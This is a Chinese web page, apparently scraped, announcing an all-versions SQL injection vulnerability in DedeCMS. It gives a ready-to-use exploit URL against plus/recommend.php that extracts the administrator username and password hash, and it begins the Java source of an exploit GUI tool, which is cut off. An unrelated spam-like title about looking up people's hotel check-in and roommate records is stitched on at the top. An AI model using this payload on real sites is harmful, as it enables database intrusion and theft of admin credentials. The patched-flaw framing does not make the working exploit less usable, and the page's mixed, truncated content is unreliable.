找开房记录可以查同住人信息吗 怎样查个人开房记录

rand_user

近日，网友在dedecms中发现了全版本通杀的SQL注入漏洞，目前官方最新版已修复该漏洞，相关利用代码如下：

EXP:


复制代码代码如下:

http://*.*.com/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\\“ or mid=@`\\“` 1,2,3,（select CONCAT（0x7c,userid,0x7c,pwd）+from+`%23@__admin` limit+0,1）,5,6,7,8,9%23@`\\“`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=111  





直接获取就可以得到管理员的用户名与加密后的密码，效果如下图所示







利用工具源码（by 园长）：


复制代码代码如下:

package org.javaweb.dede.ui;



import java.awt.Toolkit;

import java.io.BufferedReader;

import java.io.InputStreamReader;

import java.net.URL;

import java.util.regex.Matcher;

import java.util.regex.Pattern;



/**

*

* @author yz

*/

public class MainFrame extends javax.swing.JFrame {



private static final long serialVersionUID = 1L;



/**




（责任编辑：网络）